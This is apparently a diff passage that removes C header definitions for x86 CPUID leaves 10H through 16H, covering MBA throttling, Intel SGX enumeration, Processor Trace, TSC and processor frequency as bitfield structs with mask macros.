-typedef struct -{ - union - { - struct - { - /** - * [Bits 11:0] Reports the maximum MBA throttling value supported for the corresponding ResID using minus-one notation. - */ - uint32_t max_mba_throttling_value : 12; -#define CPUID_EAX_MAX_MBA_THROTTLING_VALUE_BIT 0 -#define CPUID_EAX_MAX_MBA_THROTTLING_VALUE_FLAG 0xFFF -#define CPUID_EAX_MAX_MBA_THROTTLING_VALUE_MASK 0xFFF -#define CPUID_EAX_MAX_MBA_THROTTLING_VALUE(_) (((_) >> 0) & 0xFFF) - uint32_t reserved1 : 20; - }; - - uint32_t flags; - } eax; - - union - { - struct - { - /** - * [Bits 31:0] EBX is reserved. - */ - uint32_t reserved : 32; -#define CPUID_EBX_RESERVED_BIT 0 -#define CPUID_EBX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_EBX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_EBX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ebx; - - union - { - struct - { - uint32_t reserved1 : 2; - - /** - * [Bit 2] Reports whether the response of the delay values is linear. - */ - uint32_t response_of_delay_is_linear : 1; -#define CPUID_ECX_RESPONSE_OF_DELAY_IS_LINEAR_BIT 2 -#define CPUID_ECX_RESPONSE_OF_DELAY_IS_LINEAR_FLAG 0x04 -#define CPUID_ECX_RESPONSE_OF_DELAY_IS_LINEAR_MASK 0x01 -#define CPUID_ECX_RESPONSE_OF_DELAY_IS_LINEAR(_) (((_) >> 2) & 0x01) - uint32_t reserved2 : 29; - }; - - uint32_t flags; - } ecx; - - union - { - struct - { - /** - * [Bits 15:0] Highest COS number supported for this ResID. - */ - uint32_t highest_cos_number_supported : 16; -#define CPUID_EDX_HIGHEST_COS_NUMBER_SUPPORTED_BIT 0 -#define CPUID_EDX_HIGHEST_COS_NUMBER_SUPPORTED_FLAG 0xFFFF -#define CPUID_EDX_HIGHEST_COS_NUMBER_SUPPORTED_MASK 0xFFFF -#define CPUID_EDX_HIGHEST_COS_NUMBER_SUPPORTED(_) (((_) >> 0) & 0xFFFF) - uint32_t reserved1 : 16; - }; - - uint32_t flags; - } edx; - -} cpuid_eax_10_ecx_03; - -/** - * @} - */ - - /** - * @defgroup cpuid_eax_12 \ - * EAX = 0x12 - * - * When CPUID executes with EAX set to 12H and ECX = 0H, the processor returns information about Intel SGX capabilities. - * When CPUID executes with EAX set to 12H and ECX = 1H, the processor returns information about Intel SGX attributes. - * When CPUID executes with EAX set to 12H and ECX = n (n > 1), the processor returns information about Intel SGX Enclave - * Page Cache. - * @{ - */ -#define CPUID_INTEL_SGX 0x00000012 - /** - * @brief Intel SGX Capability Enumeration Leaf, sub-leaf 0 (EAX = 12H, ECX = 0) - * - * @note Leaf 12H sub-leaf 0 (ECX = 0) is supported if CPUID.(EAX=07H, ECX=0H):EBX[SGX] = 1. - */ -typedef struct -{ - union - { - struct - { - /** - * [Bit 0] If 1, Indicates Intel SGX supports the collection of SGX1 leaf functions. - */ - uint32_t sgx1 : 1; -#define CPUID_EAX_SGX1_BIT 0 -#define CPUID_EAX_SGX1_FLAG 0x01 -#define CPUID_EAX_SGX1_MASK 0x01 -#define CPUID_EAX_SGX1(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] If 1, Indicates Intel SGX supports the collection of SGX2 leaf functions. - */ - uint32_t sgx2 : 1; -#define CPUID_EAX_SGX2_BIT 1 -#define CPUID_EAX_SGX2_FLAG 0x02 -#define CPUID_EAX_SGX2_MASK 0x01 -#define CPUID_EAX_SGX2(_) (((_) >> 1) & 0x01) - uint32_t reserved1 : 3; - - /** - * [Bit 5] If 1, indicates Intel SGX supports ENCLV instruction leaves EINCVIRTCHILD, EDECVIRTCHILD, and ESETCONTEXT. - */ - uint32_t sgx_enclv_advanced : 1; -#define CPUID_EAX_SGX_ENCLV_ADVANCED_BIT 5 -#define CPUID_EAX_SGX_ENCLV_ADVANCED_FLAG 0x20 -#define CPUID_EAX_SGX_ENCLV_ADVANCED_MASK 0x01 -#define CPUID_EAX_SGX_ENCLV_ADVANCED(_) (((_) >> 5) & 0x01) - - /** - * [Bit 6] If 1, indicates Intel SGX supports ENCLS instruction leaves ETRACKC, ERDINFO, ELDBC, and ELDUC. - */ - uint32_t sgx_encls_advanced : 1; -#define CPUID_EAX_SGX_ENCLS_ADVANCED_BIT 6 -#define CPUID_EAX_SGX_ENCLS_ADVANCED_FLAG 0x40 -#define CPUID_EAX_SGX_ENCLS_ADVANCED_MASK 0x01 -#define CPUID_EAX_SGX_ENCLS_ADVANCED(_) (((_) >> 6) & 0x01) - uint32_t reserved2 : 25; - }; - - uint32_t flags; - } eax; - - union - { - struct - { - /** - * [Bits 31:0] Bit vector of supported extended SGX features. - */ - uint32_t miscselect : 32; -#define CPUID_EBX_MISCSELECT_BIT 0 -#define CPUID_EBX_MISCSELECT_FLAG 0xFFFFFFFF -#define CPUID_EBX_MISCSELECT_MASK 0xFFFFFFFF -#define CPUID_EBX_MISCSELECT(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ebx; - - union - { - struct - { - /** - * [Bits 31:0] ECX is reserved. - */ - uint32_t reserved : 32; -#define CPUID_ECX_RESERVED_BIT 0 -#define CPUID_ECX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_ECX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_ECX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ecx; - - union - { - struct - { - /** - * [Bits 7:0] The maximum supported enclave size in non-64-bit mode is 2^(EDX[7:0]). - */ - uint32_t max_enclave_size_not64 : 8; -#define CPUID_EDX_MAX_ENCLAVE_SIZE_NOT64_BIT 0 -#define CPUID_EDX_MAX_ENCLAVE_SIZE_NOT64_FLAG 0xFF -#define CPUID_EDX_MAX_ENCLAVE_SIZE_NOT64_MASK 0xFF -#define CPUID_EDX_MAX_ENCLAVE_SIZE_NOT64(_) (((_) >> 0) & 0xFF) - - /** - * [Bits 15:8] The maximum supported enclave size in 64-bit mode is 2^(EDX[15:8]). - */ - uint32_t max_enclave_size_64 : 8; -#define CPUID_EDX_MAX_ENCLAVE_SIZE_64_BIT 8 -#define CPUID_EDX_MAX_ENCLAVE_SIZE_64_FLAG 0xFF00 -#define CPUID_EDX_MAX_ENCLAVE_SIZE_64_MASK 0xFF -#define CPUID_EDX_MAX_ENCLAVE_SIZE_64(_) (((_) >> 8) & 0xFF) - uint32_t reserved1 : 16; - }; - - uint32_t flags; - } edx; - -} cpuid_eax_12_ecx_00; - -/** - * @brief Intel SGX Attributes Enumeration Leaf, sub-leaf 1 (EAX = 12H, ECX = 1) - * - * @note Leaf 12H sub-leaf 1 (ECX = 1) is supported if CPUID.(EAX=07H, ECX=0H):EBX[SGX] = 1. - */ -typedef struct -{ - union - { - struct - { - /** - * [Bits 31:0] Reports the valid bits of SECS.ATTRIBUTES[31:0] that software can set with ECREATE. - */ - uint32_t valid_secs_attributes_0 : 32; -#define CPUID_EAX_VALID_SECS_ATTRIBUTES_0_BIT 0 -#define CPUID_EAX_VALID_SECS_ATTRIBUTES_0_FLAG 0xFFFFFFFF -#define CPUID_EAX_VALID_SECS_ATTRIBUTES_0_MASK 0xFFFFFFFF -#define CPUID_EAX_VALID_SECS_ATTRIBUTES_0(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } eax; - - union - { - struct - { - /** - * [Bits 31:0] Reports the valid bits of SECS.ATTRIBUTES[63:32] that software can set with ECREATE. - */ - uint32_t valid_secs_attributes_1 : 32; -#define CPUID_EBX_VALID_SECS_ATTRIBUTES_1_BIT 0 -#define CPUID_EBX_VALID_SECS_ATTRIBUTES_1_FLAG 0xFFFFFFFF -#define CPUID_EBX_VALID_SECS_ATTRIBUTES_1_MASK 0xFFFFFFFF -#define CPUID_EBX_VALID_SECS_ATTRIBUTES_1(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ebx; - - union - { - struct - { - /** - * [Bits 31:0] Reports the valid bits of SECS.ATTRIBUTES[95:64] that software can set with ECREATE. - */ - uint32_t valid_secs_attributes_2 : 32; -#define CPUID_ECX_VALID_SECS_ATTRIBUTES_2_BIT 0 -#define CPUID_ECX_VALID_SECS_ATTRIBUTES_2_FLAG 0xFFFFFFFF -#define CPUID_ECX_VALID_SECS_ATTRIBUTES_2_MASK 0xFFFFFFFF -#define CPUID_ECX_VALID_SECS_ATTRIBUTES_2(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ecx; - - union - { - struct - { - /** - * [Bits 31:0] Reports the valid bits of SECS.ATTRIBUTES[127:96] that software can set with ECREATE. - */ - uint32_t valid_secs_attributes_3 : 32; -#define CPUID_EDX_VALID_SECS_ATTRIBUTES_3_BIT 0 -#define CPUID_EDX_VALID_SECS_ATTRIBUTES_3_FLAG 0xFFFFFFFF -#define CPUID_EDX_VALID_SECS_ATTRIBUTES_3_MASK 0xFFFFFFFF -#define CPUID_EDX_VALID_SECS_ATTRIBUTES_3(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } edx; - -} cpuid_eax_12_ecx_01; - -/** - * @brief Intel SGX EPC Enumeration Leaf, sub-leaves (EAX = 12H, ECX = 2 or higher) - * - * @note Leaf 12H sub-leaf 2 or higher (ECX >= 2) is supported if CPUID.(EAX=07H, ECX=0H):EBX[SGX] = 1. - * This structure describes sub-leaf type 0. - */ -typedef struct -{ - union - { - struct - { - /** - * [Bits 3:0] Sub-leaf Type 0. Indicates this sub-leaf is invalid. - */ - uint32_t sub_leaf_type : 4; -#define CPUID_EAX_SUB_LEAF_TYPE_BIT 0 -#define CPUID_EAX_SUB_LEAF_TYPE_FLAG 0x0F -#define CPUID_EAX_SUB_LEAF_TYPE_MASK 0x0F -#define CPUID_EAX_SUB_LEAF_TYPE(_) (((_) >> 0) & 0x0F) - uint32_t reserved1 : 28; - }; - - uint32_t flags; - } eax; - - union - { - struct - { - /** - * [Bits 31:0] EBX is zero. - */ - uint32_t zero : 32; -#define CPUID_EBX_ZERO_BIT 0 -#define CPUID_EBX_ZERO_FLAG 0xFFFFFFFF -#define CPUID_EBX_ZERO_MASK 0xFFFFFFFF -#define CPUID_EBX_ZERO(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ebx; - - union - { - struct - { - /** - * [Bits 31:0] ECX is zero. - */ - uint32_t zero : 32; -#define CPUID_ECX_ZERO_BIT 0 -#define CPUID_ECX_ZERO_FLAG 0xFFFFFFFF -#define CPUID_ECX_ZERO_MASK 0xFFFFFFFF -#define CPUID_ECX_ZERO(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ecx; - - union - { - struct - { - /** - * [Bits 31:0] EDX is zero. - */ - uint32_t zero : 32; -#define CPUID_EDX_ZERO_BIT 0 -#define CPUID_EDX_ZERO_FLAG 0xFFFFFFFF -#define CPUID_EDX_ZERO_MASK 0xFFFFFFFF -#define CPUID_EDX_ZERO(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } edx; - -} cpuid_eax_12_ecx_02p_slt_0; - -/** - * @brief Intel SGX EPC Enumeration Leaf, sub-leaves (EAX = 12H, ECX = 2 or higher) - * - * @note Leaf 12H sub-leaf 2 or higher (ECX >= 2) is supported if CPUID.(EAX=07H, ECX=0H):EBX[SGX] = 1. - * This structure describes sub-leaf type 1. - */ -typedef struct -{ - union - { - struct - { - /** - * [Bits 3:0] Sub-leaf Type 1. This sub-leaf enumerates an EPC section. EBX:EAX and EDX:ECX provide information on the - * Enclave Page Cache (EPC) section. - */ - uint32_t sub_leaf_type : 4; -#define CPUID_EAX_SUB_LEAF_TYPE_BIT 0 -#define CPUID_EAX_SUB_LEAF_TYPE_FLAG 0x0F -#define CPUID_EAX_SUB_LEAF_TYPE_MASK 0x0F -#define CPUID_EAX_SUB_LEAF_TYPE(_) (((_) >> 0) & 0x0F) - uint32_t reserved1 : 8; - - /** - * [Bits 31:12] Bits 31:12 of the physical address of the base of the EPC section. - */ - uint32_t epc_base_physical_address_1 : 20; -#define CPUID_EAX_EPC_BASE_PHYSICAL_ADDRESS_1_BIT 12 -#define CPUID_EAX_EPC_BASE_PHYSICAL_ADDRESS_1_FLAG 0xFFFFF000 -#define CPUID_EAX_EPC_BASE_PHYSICAL_ADDRESS_1_MASK 0xFFFFF -#define CPUID_EAX_EPC_BASE_PHYSICAL_ADDRESS_1(_) (((_) >> 12) & 0xFFFFF) - }; - - uint32_t flags; - } eax; - - union - { - struct - { - /** - * [Bits 19:0] Bits 51:32 of the physical address of the base of the EPC section. - */ - uint32_t epc_base_physical_address_2 : 20; -#define CPUID_EBX_EPC_BASE_PHYSICAL_ADDRESS_2_BIT 0 -#define CPUID_EBX_EPC_BASE_PHYSICAL_ADDRESS_2_FLAG 0xFFFFF -#define CPUID_EBX_EPC_BASE_PHYSICAL_ADDRESS_2_MASK 0xFFFFF -#define CPUID_EBX_EPC_BASE_PHYSICAL_ADDRESS_2(_) (((_) >> 0) & 0xFFFFF) - uint32_t reserved1 : 12; - }; - - uint32_t flags; - } ebx; - - union - { - struct - { - /** - * [Bits 3:0] EPC section property encoding defined as follows: - * - If EAX[3:0] 0000b, then all bits of the EDX:ECX pair are enumerated as 0. - * - If EAX[3:0] 0001b, then this section has confidentiality and integrity protection. - * All other encodings are reserved. - */ - uint32_t epc_section_property : 4; -#define CPUID_ECX_EPC_SECTION_PROPERTY_BIT 0 -#define CPUID_ECX_EPC_SECTION_PROPERTY_FLAG 0x0F -#define CPUID_ECX_EPC_SECTION_PROPERTY_MASK 0x0F -#define CPUID_ECX_EPC_SECTION_PROPERTY(_) (((_) >> 0) & 0x0F) - uint32_t reserved1 : 8; - - /** - * [Bits 31:12] Bits 31:12 of the size of the corresponding EPC section within the Processor Reserved Memory. - */ - uint32_t epc_size_1 : 20; -#define CPUID_ECX_EPC_SIZE_1_BIT 12 -#define CPUID_ECX_EPC_SIZE_1_FLAG 0xFFFFF000 -#define CPUID_ECX_EPC_SIZE_1_MASK 0xFFFFF -#define CPUID_ECX_EPC_SIZE_1(_) (((_) >> 12) & 0xFFFFF) - }; - - uint32_t flags; - } ecx; - - union - { - struct - { - /** - * [Bits 19:0] Bits 51:32 of the size of the corresponding EPC section within the Processor Reserved Memory. - */ - uint32_t epc_size_2 : 20; -#define CPUID_EDX_EPC_SIZE_2_BIT 0 -#define CPUID_EDX_EPC_SIZE_2_FLAG 0xFFFFF -#define CPUID_EDX_EPC_SIZE_2_MASK 0xFFFFF -#define CPUID_EDX_EPC_SIZE_2(_) (((_) >> 0) & 0xFFFFF) - uint32_t reserved1 : 12; - }; - - uint32_t flags; - } edx; - -} cpuid_eax_12_ecx_02p_slt_1; - -/** - * @} - */ - - /** - * @defgroup cpuid_eax_14 \ - * EAX = 0x14 - * - * When CPUID executes with EAX set to 14H and ECX = 0H, the processor returns information about Intel Processor Trace - * extensions. - * When CPUID executes with EAX set to 14H and ECX = n (n > 0 and less than the number of non-zero bits in CPUID.(EAX=14H, - * ECX= 0H).EAX), the processor returns information about packet generation in Intel Processor Trace. - * @{ - */ -#define CPUID_INTEL_PROCESSOR_TRACE_INFORMATION 0x00000014 - /** - * @brief Intel Processor Trace Enumeration Main Leaf (EAX = 14H, ECX = 0) - * - * @note Leaf 14H main leaf (ECX = 0). - */ -typedef struct -{ - union - { - struct - { - /** - * [Bits 31:0] Reports the maximum sub-leaf supported in leaf 14H. - */ - uint32_t max_sub_leaf : 32; -#define CPUID_EAX_MAX_SUB_LEAF_BIT 0 -#define CPUID_EAX_MAX_SUB_LEAF_FLAG 0xFFFFFFFF -#define CPUID_EAX_MAX_SUB_LEAF_MASK 0xFFFFFFFF -#define CPUID_EAX_MAX_SUB_LEAF(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } eax; - - union - { - struct - { - /** - * [Bit 0] If 1, indicates that IA32_RTIT_CTL.CR3Filter can be set to 1, and that IA32_RTIT_CR3_MATCH MSR can be accessed. - */ - uint32_t flag0 : 1; -#define CPUID_EBX_FLAG0_BIT 0 -#define CPUID_EBX_FLAG0_FLAG 0x01 -#define CPUID_EBX_FLAG0_MASK 0x01 -#define CPUID_EBX_FLAG0(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] If 1, indicates support of Configurable PSB and Cycle-Accurate Mode. - */ - uint32_t flag1 : 1; -#define CPUID_EBX_FLAG1_BIT 1 -#define CPUID_EBX_FLAG1_FLAG 0x02 -#define CPUID_EBX_FLAG1_MASK 0x01 -#define CPUID_EBX_FLAG1(_) (((_) >> 1) & 0x01) - - /** - * [Bit 2] If 1, indicates support of IP Filtering, TraceStop filtering, and preservation of Intel PT MSRs across warm - * reset. - */ - uint32_t flag2 : 1; -#define CPUID_EBX_FLAG2_BIT 2 -#define CPUID_EBX_FLAG2_FLAG 0x04 -#define CPUID_EBX_FLAG2_MASK 0x01 -#define CPUID_EBX_FLAG2(_) (((_) >> 2) & 0x01) - - /** - * [Bit 3] If 1, indicates support of MTC timing packet and suppression of COFI-based packets. - */ - uint32_t flag3 : 1; -#define CPUID_EBX_FLAG3_BIT 3 -#define CPUID_EBX_FLAG3_FLAG 0x08 -#define CPUID_EBX_FLAG3_MASK 0x01 -#define CPUID_EBX_FLAG3(_) (((_) >> 3) & 0x01) - - /** - * [Bit 4] If 1, indicates support of PTWRITE. Writes can set IA32_RTIT_CTL[12] (PTWEn) and IA32_RTIT_CTL[5] (FUPonPTW), - * and PTWRITE can generate packets. - */ - uint32_t flag4 : 1; -#define CPUID_EBX_FLAG4_BIT 4 -#define CPUID_EBX_FLAG4_FLAG 0x10 -#define CPUID_EBX_FLAG4_MASK 0x01 -#define CPUID_EBX_FLAG4(_) (((_) >> 4) & 0x01) - - /** - * [Bit 5] If 1, indicates support of Power Event Trace. Writes can set IA32_RTIT_CTL[4] (PwrEvtEn), enabling Power Event - * Trace packet generation. - */ - uint32_t flag5 : 1; -#define CPUID_EBX_FLAG5_BIT 5 -#define CPUID_EBX_FLAG5_FLAG 0x20 -#define CPUID_EBX_FLAG5_MASK 0x01 -#define CPUID_EBX_FLAG5(_) (((_) >> 5) & 0x01) - uint32_t reserved1 : 26; - }; - - uint32_t flags; - } ebx; - - union - { - struct - { - /** - * [Bit 0] If 1, Tracing can be enabled with IA32_RTIT_CTL.ToPA = 1, hence utilizing the ToPA output scheme; - * IA32_RTIT_OUTPUT_BASE and IA32_RTIT_OUTPUT_MASK_PTRS MSRs can be accessed. - */ - uint32_t flag0 : 1; -#define CPUID_ECX_FLAG0_BIT 0 -#define CPUID_ECX_FLAG0_FLAG 0x01 -#define CPUID_ECX_FLAG0_MASK 0x01 -#define CPUID_ECX_FLAG0(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] If 1, ToPA tables can hold any number of output entries, up to the maximum allowed by the MaskOrTableOffset - * field of IA32_RTIT_OUTPUT_MASK_PTRS. - */ - uint32_t flag1 : 1; -#define CPUID_ECX_FLAG1_BIT 1 -#define CPUID_ECX_FLAG1_FLAG 0x02 -#define CPUID_ECX_FLAG1_MASK 0x01 -#define CPUID_ECX_FLAG1(_) (((_) >> 1) & 0x01) - - /** - * [Bit 2] If 1, indicates support of Single-Range Output scheme. - */ - uint32_t flag2 : 1; -#define CPUID_ECX_FLAG2_BIT 2 -#define CPUID_ECX_FLAG2_FLAG 0x04 -#define CPUID_ECX_FLAG2_MASK 0x01 -#define CPUID_ECX_FLAG2(_) (((_) >> 2) & 0x01) - - /** - * [Bit 3] If 1, indicates support of output to Trace Transport subsystem. - */ - uint32_t flag3 : 1; -#define CPUID_ECX_FLAG3_BIT 3 -#define CPUID_ECX_FLAG3_FLAG 0x08 -#define CPUID_ECX_FLAG3_MASK 0x01 -#define CPUID_ECX_FLAG3(_) (((_) >> 3) & 0x01) - uint32_t reserved1 : 27; - - /** - * [Bit 31] If 1, generated packets which contain IP payloads have LIP values, which include the CS base component. - */ - uint32_t flag31 : 1; -#define CPUID_ECX_FLAG31_BIT 31 -#define CPUID_ECX_FLAG31_FLAG 0x80000000 -#define CPUID_ECX_FLAG31_MASK 0x01 -#define CPUID_ECX_FLAG31(_) (((_) >> 31) & 0x01) - }; - - uint32_t flags; - } ecx; - - union - { - struct - { - /** - * [Bits 31:0] EDX is reserved. - */ - uint32_t reserved : 32; -#define CPUID_EDX_RESERVED_BIT 0 -#define CPUID_EDX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_EDX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_EDX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } edx; - -} cpuid_eax_14_ecx_00; - -/** - * @brief Intel Processor Trace Enumeration Sub-leaf (EAX = 14H, ECX = 1) - */ -typedef struct -{ - union - { - struct - { - /** - * [Bits 2:0] Number of configurable Address Ranges for filtering. - */ - uint32_t number_of_configurable_address_ranges_for_filtering : 3; -#define CPUID_EAX_NUMBER_OF_CONFIGURABLE_ADDRESS_RANGES_FOR_FILTERING_BIT 0 -#define CPUID_EAX_NUMBER_OF_CONFIGURABLE_ADDRESS_RANGES_FOR_FILTERING_FLAG 0x07 -#define CPUID_EAX_NUMBER_OF_CONFIGURABLE_ADDRESS_RANGES_FOR_FILTERING_MASK 0x07 -#define CPUID_EAX_NUMBER_OF_CONFIGURABLE_ADDRESS_RANGES_FOR_FILTERING(_) (((_) >> 0) & 0x07) - uint32_t reserved1 : 13; - - /** - * [Bits 31:16] Bitmap of supported MTC period encodings. - */ - uint32_t bitmap_of_supported_mtc_period_encodings : 16; -#define CPUID_EAX_BITMAP_OF_SUPPORTED_MTC_PERIOD_ENCODINGS_BIT 16 -#define CPUID_EAX_BITMAP_OF_SUPPORTED_MTC_PERIOD_ENCODINGS_FLAG 0xFFFF0000 -#define CPUID_EAX_BITMAP_OF_SUPPORTED_MTC_PERIOD_ENCODINGS_MASK 0xFFFF -#define CPUID_EAX_BITMAP_OF_SUPPORTED_MTC_PERIOD_ENCODINGS(_) (((_) >> 16) & 0xFFFF) - }; - - uint32_t flags; - } eax; - - union - { - struct - { - /** - * [Bits 15:0] Bitmap of supported Cycle Threshold value encodings. - */ - uint32_t bitmap_of_supported_cycle_threshold_value_encodings : 16; -#define CPUID_EBX_BITMAP_OF_SUPPORTED_CYCLE_THRESHOLD_VALUE_ENCODINGS_BIT 0 -#define CPUID_EBX_BITMAP_OF_SUPPORTED_CYCLE_THRESHOLD_VALUE_ENCODINGS_FLAG 0xFFFF -#define CPUID_EBX_BITMAP_OF_SUPPORTED_CYCLE_THRESHOLD_VALUE_ENCODINGS_MASK 0xFFFF -#define CPUID_EBX_BITMAP_OF_SUPPORTED_CYCLE_THRESHOLD_VALUE_ENCODINGS(_) (((_) >> 0) & 0xFFFF) - - /** - * [Bits 31:16] Bitmap of supported Configurable PSB frequency encodings. - */ - uint32_t bitmap_of_supported_configurable_psb_frequency_encodings : 16; -#define CPUID_EBX_BITMAP_OF_SUPPORTED_CONFIGURABLE_PSB_FREQUENCY_ENCODINGS_BIT 16 -#define CPUID_EBX_BITMAP_OF_SUPPORTED_CONFIGURABLE_PSB_FREQUENCY_ENCODINGS_FLAG 0xFFFF0000 -#define CPUID_EBX_BITMAP_OF_SUPPORTED_CONFIGURABLE_PSB_FREQUENCY_ENCODINGS_MASK 0xFFFF -#define CPUID_EBX_BITMAP_OF_SUPPORTED_CONFIGURABLE_PSB_FREQUENCY_ENCODINGS(_) (((_) >> 16) & 0xFFFF) - }; - - uint32_t flags; - } ebx; - - union - { - struct - { - /** - * [Bits 31:0] ECX is reserved. - */ - uint32_t reserved : 32; -#define CPUID_ECX_RESERVED_BIT 0 -#define CPUID_ECX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_ECX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_ECX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ecx; - - union - { - struct - { - /** - * [Bits 31:0] EDX is reserved. - */ - uint32_t reserved : 32; -#define CPUID_EDX_RESERVED_BIT 0 -#define CPUID_EDX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_EDX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_EDX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } edx; - -} cpuid_eax_14_ecx_01; - -/** - * @} - */ - - - /** - * @brief Stamp Counter and Nominal Core Crystal Clock Information Leaf - * - * When CPUID executes with EAX set to 15H and ECX = 0H, the processor returns information about Time Stamp Counter and - * Core Crystal Clock. - * - * @note If EBX[31:0] is 0, the TSC/"core crystal clock" ratio is not enumerated. EBX[31:0]/EAX[31:0] indicates the ratio - * of the TSC frequency and the core crystal clock frequency. - * If ECX is 0, the nominal core crystal clock frequency is not enumerated. "TSC frequency" = "core crystal clock - * frequency" * EBX/EAX. - */ -#define CPUID_TIME_STAMP_COUNTER_INFORMATION 0x00000015 -typedef struct -{ - union - { - struct - { - /** - * [Bits 31:0] An unsigned integer which is the denominator of the TSC/"core crystal clock" ratio. - */ - uint32_t denominator : 32; -#define CPUID_EAX_DENOMINATOR_BIT 0 -#define CPUID_EAX_DENOMINATOR_FLAG 0xFFFFFFFF -#define CPUID_EAX_DENOMINATOR_MASK 0xFFFFFFFF -#define CPUID_EAX_DENOMINATOR(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } eax; - - union - { - struct - { - /** - * [Bits 31:0] An unsigned integer which is the numerator of the TSC/"core crystal clock" ratio. - */ - uint32_t numerator : 32; -#define CPUID_EBX_NUMERATOR_BIT 0 -#define CPUID_EBX_NUMERATOR_FLAG 0xFFFFFFFF -#define CPUID_EBX_NUMERATOR_MASK 0xFFFFFFFF -#define CPUID_EBX_NUMERATOR(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ebx; - - union - { - struct - { - /** - * [Bits 31:0] An unsigned integer which is the nominal frequency of the core crystal clock in Hz. - */ - uint32_t nominal_frequency : 32; -#define CPUID_ECX_NOMINAL_FREQUENCY_BIT 0 -#define CPUID_ECX_NOMINAL_FREQUENCY_FLAG 0xFFFFFFFF -#define CPUID_ECX_NOMINAL_FREQUENCY_MASK 0xFFFFFFFF -#define CPUID_ECX_NOMINAL_FREQUENCY(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ecx; - - union - { - struct - { - /** - * [Bits 31:0] EDX is reserved. - */ - uint32_t reserved : 32; -#define CPUID_EDX_RESERVED_BIT 0 -#define CPUID_EDX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_EDX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_EDX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } edx; - -} cpuid_eax_15; - - -/** - * @brief Processor Frequency Information Leaf - * - * When CPUID executes with EAX set to 16H, the processor returns information about Processor Frequency Information. - * - * @note Data is returned from this interface in accordance with the processor's specification and does not reflect actual - * values. Suitable use of this data includes the display of processor information in like manner to the processor brand - * string and for determining the appropriate range to use when displaying processor information e.g. frequency history - * graphs. The returned information should not be used for any other purpose as the returned information does not - * accurately correlate to information / counters returned by other processor interfaces. - * While a processor may support the Processor Frequency Information leaf, fields that return a value of zero are not - * supported. - */ -#define CPUID_PROCESSOR_FREQUENCY_INFORMATION 0x00000016 -typedef struct -{ - union - { - struct - { - /** - * [Bits 15:0] Processor Base Frequency (in MHz). - */ - uint32_t procesor_base_frequency_mhz : 16; -#define CPUID_EAX_PROCESOR_BASE_FREQUENCY_MHZ_BIT 0 -#define CPUID_EAX_PROCESOR_BASE_FREQUENCY_MHZ_FLAG 0xFFFF -#define CPUID_EAX_PROCESOR_BASE_FREQUENCY_MHZ_MASK 0xFFFF -#define CPUID_EAX_PROCESOR_BASE_FREQUENCY_MHZ(_) (((_) >> 0) & 0xFFFF) - uint32_t reserved1 : 16; - }; - - uint32_t flags; - } eax; - - union - { - struct - { - /** - * [Bits 15:0] Maximum Frequency (in MHz). - */ - uint32_t processor_maximum_frequency_mhz : 16; -#define CPUID_EBX_PROCESSOR_MAXIMUM_FREQUENCY_MHZ_BIT 0 -#define CPUID_EBX_PROCESSOR_MAXIMUM_FREQUENCY_MHZ_FLAG 0xFFFF -#define CPUID_EBX_PROCESSOR_MAXIMUM_FREQUENCY_MHZ_MASK 0xFFFF -#define CPUID_EBX_PROCESSOR_MAXIMUM_FREQUENCY_MHZ(_) (((_) >> 0) & 0xFFFF) - uint32_t reserved1 : 16; - }; - - uint32_t flags; - } ebx; - - union - { - struct - { - /** - * [Bits 15:0] Bus (Reference) Frequency (in MHz). - */ - uint32_t bus_frequency_mhz : 16; -#define CPUID_ECX_BUS_FREQUENCY_MHZ_BIT 0 -#define CPUID_ECX_BUS_FREQUENCY_MHZ_FLAG 0xFFFF -#define CPUID_ECX_BUS_FREQUENCY_MHZ_MASK 0xFFFF -#define CPUID_ECX_BUS_FREQUENCY_MHZ(_) (((_) >> 0) & 0xFFFF) - uint32_t reserved1 : 16; - }; - - uint32_t flags; - } ecx; - - union - { - struct - { - /** - * [Bits 31:0] EDX is reserved. - */ - uint32_t reserved : 32; -#define CPUID_EDX_RESERVED_BIT 0 -#define CPUID_EDX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_EDX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_EDX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } edx; - -} cpuid_eax_16; - -/** - * @defgroup cpuid_eax_17 \ - * EAX = 0x17 - * - * When CPUID executes with EAX set to 17H, the processor returns information about the System-On-Chip Vendor Attribute - * Enumeration. - * @{ - */ -#define 